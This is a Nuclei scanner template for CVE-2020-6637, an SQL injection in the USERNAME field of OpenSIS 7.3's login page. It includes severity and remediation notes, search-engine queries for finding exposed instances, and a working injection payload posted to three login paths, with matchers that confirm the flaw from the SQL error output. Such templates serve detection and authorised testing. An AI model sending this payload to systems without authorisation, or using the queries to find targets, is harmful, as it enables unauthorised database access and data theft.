id: CVE-2020-6637 info: name: OpenSIS 7.3 - SQL Injection author: pikpikcu severity: critical description: OpenSIS Community Edition version 7.3 is vulnerable to SQL injection via the USERNAME parameter of index.php. impact: | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage. remediation: | Apply the latest security patch or upgrade to a patched version of OpenSIS. reference: - https://cinzinga.com/CVE-2020-6637/ - https://nvd.nist.gov/vuln/detail/CVE-2020-6637 - https://sourceforge.net/projects/opensis-ce/files/ - https://github.com/OS4ED/openSIS-Responsive-Design/commit/1127ae0bb7c3a2883febeabc6b71ad8d73510de8 - https://opensis.com/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2020-6637 cwe-id: CWE-89 epss-score: 0.02067 epss-percentile: 0.89008 cpe: cpe:2.3:a:os4ed:opensis:7.3:*:*:*:community:*:*:* metadata: max-request: 3 vendor: os4ed product: opensis shodan-query: - http.title:"openSIS" - http.title:"opensis" fofa-query: title="opensis" google-query: intitle:"opensis" tags: cve,cve2020,sqli,opensis,os4ed http: - method: POST path: - '{{BaseURL}}/account/index.php' - '{{BaseURL}}/opensis/index.php' - '{{BaseURL}}/index.php' body: | USERNAME=%27%29or%601%60%3D%601%60%3B--+-&PASSWORD=A&language=en&log= headers: Content-Type: application/x-www-form-urlencoded matchers-condition: and matchers: - type: word part: body words: - 'SQL STATEMENT:' - "UPDATE login_authentication SET FAILED_LOGIN=FAILED_LOGIN+1 WHERE UPPER(USERNAME)=UPPER(NULL)or`1`=`1`;-- -')" condition: and - type: word part: header words: - "text/html" condition: and - type: status status: - 200 # digest: 4a0a00473045022100d1b656a8b86650677ad1699459442e0b3951652fe28f65fe62cc83e17f156ade02200286cf36327b43c679839a357e1b2c0fa59e13bba2229ed3e6f1e49c9c4ceb9b:922c64590222798bb761d5b6d8e72950